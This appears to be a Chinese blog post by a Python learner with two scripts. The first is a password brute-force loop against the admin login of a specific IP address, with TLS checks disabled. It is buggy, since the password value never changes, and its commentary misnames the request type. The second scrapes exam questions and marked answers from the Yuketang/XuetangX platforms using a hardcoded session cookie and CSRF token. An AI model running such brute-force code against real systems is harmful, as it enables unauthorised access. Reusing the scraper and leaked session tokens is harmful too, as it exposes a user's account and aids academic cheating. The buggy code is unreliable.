import requests
import urllib3
urllib3.disable_warnings()
xcl = 0
i = 0
url = 'https://119.3.134.252:5003/api/user/login'
params = {
'username': 'admin',
'password': str(xcl)
}
print("xcl")
for i in range(9999999):
xcl = xcl+1
r = requests.post(url,params=params, verify=False).text
print(r)
这是个简单对靶向网站进行暴力破解的简单代码,url指向url的地址,header设置请求头(此处省略了)payload设置请求参数
requests.post这一行的作用是作一次get请求,响应信息被变量Response接收
通过for循环进行不断尝试完成破解
import requests
import json
class_room_id = 11626838
url = 'url指向' + str(拼接)
headers = {
'cookie': 'JG_fcdf8e635093adde6bef42651_PV=1654501640216|1654501679715; django_language=zh-cn; login_type=WX; csrftoken=zTCWFnWhkDDT1SeCXnTfpSzrYtuDOwMS; sessionid=0frkrt9isen32b819qd6h2vtq5dz5wp0; JG_fcdf8e635093adde6bef42651_PV=1654493461935|1654493461935'
}
params = {
'actype': 5,
'page': 0,
'offset': 20,
'sort': -1
}
# 所有考试
all_exam = {}
# 持久性会话
session = requests.session()
r = session.get(url, headers=headers, params=params).text
print(r)
r = json.loads(r)
for i in r['data']['activities']:
exam_id = i['courseware_id']
class_room_url = 'https://www.yuketang.cn/v2/web/exam/' + str(class_room_id) + '/' + str(exam_id)
open_exam_url = 'https://www.yuketang.cn/v2/web/trans/'+str(class_room_id)+'/'+str(exam_id)+'?status=4'
exam_url = 'https://examination.xuetangx.com/exam_room/show_paper'
problem_url = 'https://examination.xuetangx.com/exam_room/problem_results'
params = {
'exam_id': exam_id
}
print(exam_id, exam_url, params)
# 打开考试详情
session.get(class_room_url)
session.get(open_exam_url)
# print('请输入[', i['title'], ']的cookie:', end='')
# cookie = input()
# exam_header = {
# 'cookie': cookie
# }
exam_result = session.get(exam_url, params=params).text
print(exam_result, 1)
exam_result = json.loads(exam_result)
problem_result = session.get(problem_url, params=params).text
problem_result = json.loads(problem_result)
problem_result = problem_result['data']['problem_results']
all_exam[i['title']] = []
count = 0
for j in exam_result['data']['problems']:
count = count + 1
problemId = j['ProblemID']
if j['Type'] == 'SingleChoice' or j['Type'] == 'MultipleChoice':
options = []
problem_answer = []
for _ in problem_result:
if _['problem_id'] == problemId:
problem_answer = _['result']
break
for k in j['Options']:
key = 0
for _ in problem_answer:
if _ == k['key']:
key = 1
options.append('<strong style="color: red">'+k['value']+'</strong>')
break
if key == 0:
options.append(k['value'])
all_exam[i['title']].append({'id': count, 'type': j['TypeText'], 'title': j['Body'], 'option': options})
elif j['Type'] == 'FillBlank':
all_exam[i['title']].append({'id': count, 'type': j['TypeText'], 'title': j['Body']})
elif j['Type'] == 'ShortAnswer':
problem_answer = {}
for _ in problem_result:
if _['problem_id'] == problemId:
problem_answer = _['result']
break
problem_files = problem_answer['pics']
files = []
for _ in problem_files:
files.append(_['fileUrl'])
all_exam[i['title']].append({'id': count, 'type': j['TypeText'], 'title': j['Body'], 'file': files})
print(all_exam[i['title']])
with open('1.txt', 'a') as f:
f.write(i['title'] + '\n')
wtype = ''
for i in all_exam[i['title']]:
if wtype != i['type']:
wtype = i['type']
f.write(i['type']+'\n')
f.writelines([str(i['id']), i['title'], '\n'])
if wtype == '单选题' or wtype == '多选题':
f.writelines(i['option'])
f.write('\n')
elif wtype == '主观题':
f.writelines(i['file'])
f.write('\n')
print(all_exam)
此处代码是我开始看python的起因,起因是我想着帮女友整理雨课堂的资料,想整理最近学习的题目在word上,不过很遗憾,不能直接复制,一个图片一个图片的进行转文字太费劲了,遂在同事帮助下完成把题目扣出来的工作,这个指向的地址我已经抠出来了,换个url就可以用,